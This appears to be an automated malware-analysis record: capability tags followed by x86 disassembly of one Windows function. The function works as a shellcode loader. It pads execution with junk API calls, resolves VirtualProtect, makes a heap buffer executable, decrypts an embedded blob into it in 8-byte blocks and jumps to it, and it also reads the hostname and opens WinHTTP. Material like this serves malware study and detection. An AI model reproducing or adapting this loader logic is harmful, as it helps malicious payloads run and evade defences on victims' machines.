Function at 0x401746
Capabilities:
Allocate or change rwx memory
Create directory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get hostname
Initialize winhttp library
Manipulate console buffer
Set file attributes

Disassembly:
mov eax, 0x41cc99
call fcn.0041b6dc
mov eax, 0x1028
call fcn.00406000
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x207142
jg 0x401778
inc esi
cmp esi, 0x67d12
jl 0x401761
cmp dword [0x282941c], 0x93
jne 0x40180d
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_InsertMenuItemW]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoUnmarshalHresult]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
push ebx
lea eax, [ebp - 0x834]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], ebx
mov byte [ebp - 0x34], bl
push ebx
mov dword [ebp - 4], ebx
call fcn.00401f92
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], 0x10
pop ecx
jb 0x40180d
push dword [ebp - 0x34]
call fcn.00401f78
pop ecx
mov eax, dword [0x43b53c]
add dword [0x282941c], 0x1134b
push str.kernel32.dll
mov dword [0x282a258], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
mov dword [0x2828eac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x282941c]
mov dword [0x2828ea0], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x282941c]
mov dword [0x2828ea8], eax
push eax
call dword [0x2828ea0]
mov esi, 0x1692e
push ebx
call dword [sym.imp.USER32.dll_SetMessageExtraInfo]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x40186c
mov eax, dword [0x282941c]
cmp eax, ebx
jbe 0x4018db
mov eax, dword [0x282a258]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x2828ea8]
mov byte [ecx + esi], al
mov eax, dword [0x282941c]
cmp eax, 0x490
jne 0x4018d6
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov eax, dword [0x282941c]
inc esi
cmp esi, eax
jb 0x401886
xor esi, esi
lea ecx, [eax + esi]
cmp ecx, 0x8d
jne 0x401910
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push 0x41e940
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x282941c]
inc esi
cmp esi, 0x38681
jl 0x4018dd
mov ecx, dword [0x2828ea8]
shr eax, 3
cmp eax, ebx
jbe 0x401936
mov esi, ecx
mov edi, eax
push esi
call fcn.00401007
add esi, 8
dec edi
jne 0x40192a
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x401957
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0x5f36
mov eax, dword [ebp - 0x14]
add dword [0x2828ea8], eax
inc esi
cmp esi, 0x674bd
jl 0x401938
push 0x7b
pop esi
cmp dword [0x282941c], 0x86
jne 0x4019b8
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1034]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
dec esi
jne 0x401963
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x2828ea8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret